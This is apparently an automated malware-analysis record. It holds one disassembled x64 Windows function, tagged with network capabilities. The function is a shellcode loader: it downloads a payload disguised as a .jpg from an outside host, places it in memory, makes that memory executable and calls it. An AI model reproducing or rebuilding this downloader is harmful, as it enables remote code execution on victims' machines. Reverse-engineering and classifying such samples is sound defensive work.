Function at 0x140001d70
Capabilities:
Create http request
Get http content length
Read data from internet
Receive data

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x70
mov qword [r11 - 0x38], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov rax, qword [0x140034080]
xor rax, rsp
mov qword [rsp + 0x68], rax
movdqa xmm0, xmmword [0x14002fcf0]
movdqu xmmword [rsp + 0x58], xmm0
xor ebx, ebx
mov word [rsp + 0x48], bx
lea r8d, [rbx + 0x2d]
lea rdx, str.http:__xixi2.968888.cc_chfs_shared_bin_64.jpg
lea rcx, [r11 - 0x30]
call fcn.1400025d0
nop
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002f808]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x140001e02
lea rdx, str.Failed_to_initialize_WinINet.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
lea ebx, [rbp + 1]
jmp 0x140001fa1
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x84000100
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x140001e5c
lea rdx, str.Failed_to_open_URL.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea ebx, [rsi + 1]
jmp 0x140001fa1
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x34], 4
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x34]
lea r8, [rsp + 0x30]
mov edx, 0x20000005
mov rcx, rsi
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x140001e9f
lea rdx, str.Failed_to_get_file_size.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
jmp 0x140001f16
mov edx, dword [rsp + 0x30]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140001ed3
lea rdx, str.Failed_to_allocate_memory.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
jmp 0x140001f16
mov dword [rsp + 0x38], ebx
lea r9, [rsp + 0x38]
mov r8d, dword [rsp + 0x30]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001f2f
lea rdx, str.Failed_to_read_file.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, 1
jmp 0x140001fa1
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x3c], ebx
mov edx, dword [rsp + 0x30]
lea r9, [rsp + 0x3c]
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f8d
lea rdx, str.Failed_to_set_memory_page_protection.
call fcn.140002e40
mov rcx, rax
call fcn.1400030a0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, 1
jmp 0x140001fa1
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140001fdf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002004
call fcn.140005ec4
mov eax, ebx
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140005ea0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140009f10
int3